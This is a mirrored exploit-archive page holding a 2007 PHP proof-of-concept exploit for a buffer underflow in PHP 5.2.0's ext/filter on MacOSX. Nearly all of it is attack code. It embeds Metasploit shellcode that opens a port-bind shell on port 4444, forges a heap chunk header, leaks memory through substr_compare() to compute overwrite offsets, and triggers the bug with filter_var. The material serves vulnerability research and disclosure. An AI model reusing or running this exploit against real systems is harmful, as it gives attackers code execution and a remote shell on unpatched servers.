[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : PHP 5.2.0 ext/filter Space Trimming Buffer Underflow Exploit (MacOSX)
# Published : 2007-03-12
# Author : Stefan Esser
# Previous Title : PHP 5.2.0/5.2.1 Rejected Session ID Double Free Exploit
# Next Title : Oracle 10g (PROCESS_DUP_HANDLE) Local Privilege Elevation (win32)


<?php
  ////////////////////////////////////////////////////////////////////////
  //  _  _                _                     _       ___  _  _  ___  //
  // | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ | || || _  //
  // | __ |/ _` || '_|/ _` |/ -_)| '  / -_)/ _` ||___||  _/| __ ||  _/ //
  // |_||_|__,_||_|  __,_|___||_||_|___|__,_|     |_|  |_||_||_|   //
  //                                                                    //
  //         Proof of concept code from the Hardened-PHP Project        //
  //                   (C) Copyright 2007 Stefan Esser                  //
  //                                                                    //
  ////////////////////////////////////////////////////////////////////////
  //    PHP ext/filter Space Trimming Buffer Underflow Vulnerability    //
  ////////////////////////////////////////////////////////////////////////

  // This is meant as a protection against remote file inclusion.
  die("REMOVE THIS LINE");

  // PPC MacOSX Portshell on 4444 from Metasploit
  //     (16 bytes added to make it compatible with unlink exploit)
  $shellcode = "x48x00x00x10x60x00x00x00x60x00x00x00x60x00x00x00".
      "x7cxa5x2ax79x40x82xffxfdx7fxe8x02xa6x3bxffx07xfa".
      "x38xa5xf8x4ax3cxc0x28x43x60xc6x84x76x38x85x07xee".
      "x7cx89x03xa6x80x9fxf8x4ax7cx84x32x78x90x9fxf8x4a".
      "x7cx05xf8xacx7cxffx04xacx7cx05xffxacx3bxc5x07xba".
      "x7fxffxf2x15x42x20xffxe0x4cxffx01x2cx10x23x84x74".
      "x10xc3x84x77x10xe3x84x70x10x43x84x17x6cx43x84x74".
      "x54x43x86x0ex54x3dx9fx0ex60x43x84x7bx28x41x95x2a".
      "x28x43x84x76x54xcbx86xd0x10xe3x84x66x10x43x84x1e".
      "x57x80x77x0ex6cx43x84x74x54x43x86x0ex10x43x84x1c".
      "x57x80x77x0ex6cx43x84x74x54x43x86x0ex57x80x77x0e".
      "x10x43x84x68x10xc3x84x66xb8xc2x7bx9ex10xe2x7bx9e".
      "x10xc2x7bx86x6cx43x84x74x54x43x86x0ex54x3dx9fx0e".
      "x10xe3x84x74x10x43x84x2cx57x80x77x0ex54xe7xafx0e".
      "x6cx43x84x74x54x43x86x0ex10xe6x7bx89x04x46x7bx89".
      "x68xc1x7bx93x10x43x84x34x6cx43x84x74x54x43x86x0e".
      "x54xe6xaex0fx68xc1x7bx8bx54x2bx86xd0x10x20x84x5e".
      "xb8x22x7bx8exb8xe2x7bx8ax10xc2x7bx8ex10x43x84x4d".
      "x54x43x80xdax6cx43x84x74x54x43x86x0ex57xa3x84x7e".
      "x07x21xedx18x07x20xf7x1ex28x43x84x76";

  // Offsets used for the overwrite (will be overwritten by findOffsets()
  $offset_1 = 0x55555555;
  $offset_2 = 0x66666666;

  findOffsets(); // Comment out if you want to just test the crash

  printf("Using offsets %08x and %08xn", $offset_1, $offset_2);

  // Convert offsets into strings
  $addr1 = pack("L", $offset_1);
  $addr2 = pack("L", $offset_2);
  
  // Memory Alignment stuff
  $v1 = 1;
  $v2 = 2;

  // Block that will contain the fake memory block
  $v1 = str_repeat("B", 0x110-0x14);
  
  // Prepare fake memory header
  $v1[0] = chr(0);
  $v1[1] = chr(0);
  $v1[2] = chr(0);
  $v1[3] = chr(4);

  $v1[8] = $addr1[0];
  $v1[9] = $addr1[1];
  $v1[10] = $addr1[2];
  $v1[11] = $addr1[3];

  $v1[12] = $addr2[0];
  $v1[13] = $addr2[1];
  $v1[14] = $addr2[2];
  $v1[15] = $addr2[3];

  // Heap alignment
  $v2 = str_repeat("A", 400);
  $v2 = str_repeat(" ", 400);

  // Trigger overflow
  filter_var($v2, FILTER_VALIDATE_INT);
  unset($v2);












  // This function uses the substr_compare() vulnerability
  // to get the offsets. In a remote exploit such offsets
  // would get bruteforced
  
  function findOffsets()
  {
    global $offset_1, $offset_2, $shellcode;
    // We need to NOT clear these variables,
    //  otherwise the heap is too segmented
    global $memdump, $d, $arr;
    
    $sizeofHashtable = 39;
    $maxlong = 0x7fffffff;

    // Signature of a big endian Hashtable of size 256 with 1 element
    $search = "x00x00x01x00x00x00x00xffx00x00x00x01";

    $memdump = str_repeat("A", 16000);
    for ($i=0; $i<400; $i++) {
	  $d[$i]=array();
    }
    unset($d[350]);
    $x = str_repeat("x01", $sizeofHashtable);
    unset($d[351]);
    unset($d[352]);
    $arr = array();
    for ($i=0; $i<129; $i++) { $arr[$i] = 1; }
    $arr[$shellcode] = 1;
    for ($i=0; $i<129; $i++) { unset($arr[$i]); }

    // If the libc memcmp leaks the information use it
    // otherwise we only get a case insensitive memdump
    $b = substr_compare(chr(65),chr(0),0,1,false) != 65;

    for ($i=0; $i<16000; $i++) {
      $y = substr_compare($x, chr(0), $i+1, $maxlong, $b);
      $Y = substr_compare($x, chr(1), $i+1, $maxlong, $b);
      if ($y-$Y == 1 || $Y-$y==1){
        $y = chr($y);
        if ($b && strtoupper($y)!=$y) {
          if (substr_compare($x, $y, $i+1, $maxlong, false)==-1) {
            $y = strtoupper($y);
          }
        }
        $memdump[$i] = $y;
      } else {
  	    $y = substr_compare($x, chr(1), $i+1, $maxlong, $b);
        $Y = substr_compare($x, chr(2), $i+1, $maxlong, $b);
        if ($y-$Y != 1 && $Y-$y!=1){
	      $memdump[$i] = chr(1);
        } else {
          $memdump[$i] = chr(0);
        }   
      }
    }
    
    // Search shellcode and hashtable and calculate memory address
    $pos_shellcode = strpos($memdump, $shellcode);
    $pos_hashtable = strpos($memdump, $search);
    $addr = substr($memdump, $pos_hashtable+6*4, 4);
    $addr = unpack("L", $addr);

    // Fill in both offsets  
    $offset_1 = $addr[1] + 32;
    $offset_2 = $offset_1 - $pos_shellcode + $pos_hashtable + 8*4 - 8;
  }

?>

# www.Syue.com [2007-03-12]